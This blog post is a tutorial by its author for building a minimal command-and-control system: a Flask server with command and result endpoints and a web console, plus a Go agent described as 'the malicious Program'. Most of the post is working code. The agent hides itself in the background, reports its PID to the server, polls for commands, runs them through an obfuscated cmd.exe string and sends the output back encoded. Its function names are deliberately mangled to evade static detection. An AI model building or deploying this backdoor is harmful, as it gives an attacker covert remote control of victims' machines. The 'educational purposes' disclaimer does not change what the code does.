Creating Mini C2 Agent & Server Using Golang & Flask (Mini C2)

Abdur Rahman Maheer
8 min readFeb 24, 2024

In general term C2 is an infrastructure used by attacker to manage & control malicious program they distribute & by AGENT I meant the malicious Program. Let’s make this C2 the most simplest one. First lets map What it will do? and How it will do it?

Totally simple, let’s explain those as a point:

  • Agent will Run in background as process
  • Agent will Send Get Request to Server & Get Command from the server
  • Agent will Send Back the result of command execution back to the server
  • C2 Server will have 2 endpoint , 1 will contain what command will be executed, and one for getting execution result from those commands.
  • To Pass basic static detection the function name will be random , and all the commands C2 servers sends will be in ascii code, and all the result C2 gets will be in base64 encode of ascii code.
  • C2 Servers front will be simple a box that shows commands and execution result and a input field for sending commands to agent.

Building the C2 Server in Flask

Let’s start by importing libraries we need

from flask import Flask, request, render_template, jsonify
import base64

That’s all we need, base64 is for decoding the execution result we get from AGENT. Let’s start by creating two endpoints, One is for sending command and one is for receiving the execution result, i named them /showMSG and /receiveMSG and a global variable that will contain the command, i don’t want a command executed multiple time so lets create a another endpoint by getting request it will set the global variable value to nothing “”. /receiveMSG will store data to a text file so we can view it from our CNC. as we have a input form in front-end so let’s create a another endpoint named /submit which will handle the data from the input form & store it to a global variable named stored_message so each time a new command submits it will replace the previous command. And /doneExec will replace the value of stored_message to blank so a single command doesn’t get executed multiple time. Previously we discussed the command to agent will be delivered as ascii code and the agent will decode and run it, for converting char to ascii code let create a simple function that will do the work ascii_to_char.

@app.route('/')
def index():
return render_template('index.html')

@app.route('/submit', methods=['GET', 'POST'])
def submit():
global stored_message
if request.method == 'POST':
msg = request.form.get('message')
stored_message = msg if msg else ""
return "<script>location.href = '/';</script>"
return "<script>location.href = '/';</script>"

def ascii_to_char(ascii):
try:
return chr(int(ascii))
except:
return "Error"

@app.route('/showMSG')
def show_msg():
global stored_message
ascii_msg = ""
for char in stored_message:
ascii_msg += str(ord(char)) + " "
return ascii_msg

@app.route('/doneExec')
def done_exec():
global stored_message
if stored_message:
stored_message = ""
return "Executed successfully"

@app.route('/receiveMSG')
def recieve_msg():
data = request.args.get('d4t4')
if data:
filename = "recieved_data.txt"
with open(filename, 'a') as f:
f.write(data+"\n---")
return "Data recieved successfully"
return "No data recieved"

I thought about creating a simple format agent will deliver data after command execution so it can be handled more efficiently.

command:base64_encoded(ascii_code)

Now let’s create a history tab that will convert the received data in understandable json objects so it can be handled easily in front-end.

@app.route('/history')
def history():
try:
filename = "recieved_data.txt"
with open(filename, 'r') as f:
data = f.read()
datas = data.split("\n---")
alldata = []
for data in datas:
if data.strip():
name, execute = data.split(":")
execute = base64.b64decode(execute).decode()
execute = execute.split(" ")
execute = [ascii_to_char(asc) for asc in execute]
execute = "".join(execute)
alldata.append({"name": name, "execute": execute})
return jsonify(alldata)
except Exception as e:
return jsonify({"error": str(e)})

Now Let’s create the index.html which will be the front-end.

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>MiniC2</title>
<script src="https://cdn.tailwindcss.com"></script>
<style>
body {
background-color: #1a1a1a;
font-family: 'Courier New', Courier, monospace;
padding: 20px;
}
.terminal {
background-color: #000;
border: 1px solid #fff;
border-radius: 5px;
padding: 20px;
overflow-y: auto;
max-height: 400px;
margin-bottom: 20px;
}
.cmd-prompt::before {
content: 'PWNER$~';
color: #4CAF50;
}
.cmd-output::before {
content: 'INFECTED$~';
color: #FFA500;
}
.message-form {
margin-top: 20px;
}
.form-group {
margin-bottom: 20px;
}
.form-control {
background-color: #333;
color: #fff;
border: 1px solid #fff;
border-radius: 3px;
padding: 10px;
width: 100%;
outline: none;
}
.btn-primary {
background-color: #007bff;
color: #fff;
border: none;
padding: 10px 20px;
cursor: pointer;
border-radius: 3px;
}
.btn-primary:hover {
background-color: #0056b3;
}
.terminal-container {
display: flex;
justify-content: center;
align-items: center;
height: calc(100vh - 100px);
}
.terminal-wrapper {
width: 80%;
max-width: 800px;
}
</style>
</head>
<body>
<div class="container mx-auto">
<h1 class="text-white text-center text-4xl font-bold mt-8">MiniC2</h1>
<p class="text-white text-center mb-8">by ARMx64</p>
<div class="terminal-container">
<div class="terminal-wrapper bg-black text-white rounded-lg shadow-lg p-4">
<div class="terminal h-96 overflow-y-auto"></div>

<form class="message-form mt-4" id="messageForm" action="/submit" method="post">
<div class="form-group">
<input type="text" class="form-control" name="message" id="messageInput" placeholder="Command">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
</div>
</div>
</div>
</body>
</html>

Let’s use jquery for the result terminal where we will show the output result it will get from /history.

    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
function refreshTerminal() {
$.ajax({
url: '/history',
type: 'GET',
dataType: 'json',
success: function(data) {
var terminalContent = '';
for (var i = 0; i < data.length; i++) {
terminalContent += '<div class="cmd-output"> - ' + data[i]["name"] + ': <br/> <pre>' + data[i]["execute"] + '</pre></div>';
}
$('.terminal').html(terminalContent);
}
});
}

$(document).ready(function() {
refreshTerminal();
setInterval(refreshTerminal, 5000);

$('#messageForm').submit(function(event) {
event.preventDefault();
var message = $('#messageInput').val();
$.ajax({
url: '/submit',
type: 'POST',
dataType: 'json',
data: {message: message},
success: function(response) {
console.log(response);
}
});
$('#messageInput').val('');
});
});
</script>

Done let’s now look at the front-end

it does looks like as we expected.

Building Agent in Golang

These few tasks will be done by the agent, lets start by importing libs.

package main
import (
"fmt"
"io/ioutil"
"net/http" // sending request and submiting data to http c2
"strconv" // both for converting ascii code to chars
"strings"
"os/exec" // for executing command
"os"
"encoding/base64" // encoding the execution result
"time" // for sleep after sending one request
"syscall" // for running in background as a process
)

Lets create a function which will get the commands from /showMSG & decode it to string. Function names are little bit weird to avoid static keyword base detection.

func cn3ver(as3iiSt6ing string) string {
asc1iC0d3s := strings.Fields(as3iiSt6ing)
var str strings.Builder
for _, code := range asc1iC0d3s {
ascii, err := strconv.Atoi(code)
if err != nil {
fmt.Println(err)
continue
}
str.WriteString(string(ascii))
}
return str.String()
}

func G3Td4t4() string {
c3r2point := "[[C2_URL/showMSG]]"
rsp3, err := http.Get(c3r2point)
if err != nil {
fmt.Println("Error:", err)
return ""
}
defer rsp3.Body.Close()
bdy, err := ioutil.ReadAll(rsp3.Body)
if err != nil {
fmt.Println(err)
return ""
}
return cn3ver(string(bdy))
}

Now let’s create a few more function which will help to communicate with C2 server

func ccncc(d4t4 string) (string, error) {
c3r2point := "[[C2_URL/receiveMSG]]" // send result to cnc by d4t4 parameter
resp, err := http.Get(c3r2point + "?d4t4=" + d4t4)
if err != nil {
return "", err
}
defer resp.Body.Close()

body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", err
}
return string(body), nil
}

func cew04ker(ce string) string {
callerTune := "VFJUUlJUUlRSVFJZVFJZVFJFUlRjWVlUVFJSbUhIVVVJSUtLZA==" // it's base64 encoded cmd , i do
t3t3, _ := base64.StdEncoding.DecodeString(callerTune)
preTun3 := string(t3t3)
ha3 := "TRYEHUIK"
for _, char := range ha3 {
preTun3 = strings.ReplaceAll(preTun3, string(char), "")
}
out, err := exec.Command(preTun3, "/C", ce).Output()
if err != nil {
return err.Error()
}
return string(out)

}
func str2ascii(s string) string {
var str strings.Builder
for i, r := range s {
str.WriteString(strconv.Itoa(int(r)))
if i != len(s)-1 {
str.WriteString(" ")
}
}
return str.String()
}
// dneexec is for sending request to doneExec endpoint to remove the executed msg
func dneexec() bool {
endpoint := "[[C2_URL/doneExec]]"
resp, err := http.Get(endpoint)
if err != nil {
fmt.Println(err)
return false
}
defer resp.Body.Close()

body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Println(err)
return false
}

if strings.Contains(string(body), "Executed successfully") {
return true
} else {
return false
}
}

Now lets create the main function which will combine them. in the main function i defined the program runs in background os.Args[0] is program name by using syscall, i have defined the Environment in background. after it starts itself in background, then the program get’s the pid of process and encode it then sends it to /reciveMSG by ccncc function , all the process is going in for loop gets the command checks if command is not empty then executes it sends request to dneexec to remove the command as it was executed then sleeps for 3 second the full for loop interval is 20 second, it’s up to you if you want to increase or decrease it.

func main() {
if os.Getenv("BACKGROUND") != "true" {
cmd := exec.Command("cmd.exe", "/C", "start", "/B", os.Args[0])
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd.Env = append(os.Environ(), "BACKGROUND=true")
if err := cmd.Start(); err != nil {
fmt.Println("Failed to start background process:", err)
return
}
pid := strconv.Itoa(cmd.Process.Pid)
encodedPid := str2ascii(pid)
encodedPid = base64.StdEncoding.EncodeToString([]byte(encodedPid))
ccncc("PID:"+encodedPid)
return
}
for {
m3ss4g3 := G3Td4t4()
if m3ss4g3 != "" {
executed := cew04ker(m3ss4g3)
executed = str2ascii(executed)
executed = base64.StdEncoding.EncodeToString([]byte(executed))
m3ss4g3 = strings.ReplaceAll(m3ss4g3, " ", "_")
ccncc(m3ss4g3+":"+executed)
if dneexec() {
time.Sleep(3 * time.Second)
}

time.Sleep(20 * time.Second)

}

}
}

now lets see the result.

Running the go agent in windows
Task Manager

Got the PID, Let’s execute some commands.

Done…. you can extend functionality if you want like adding screenshot, adding some custom tasks.

You can find these code combine on the GitHub repo below .

Happy Hacking.

— — — — — — — — — — — — — — — — — — Disclaimer — — — — — — — — — — — — — —

The full blog was only for educational purposes only, if anyone misuse any information or code snippets from this blog i am not responsible, the person misused these information is responsible for their action.

--

--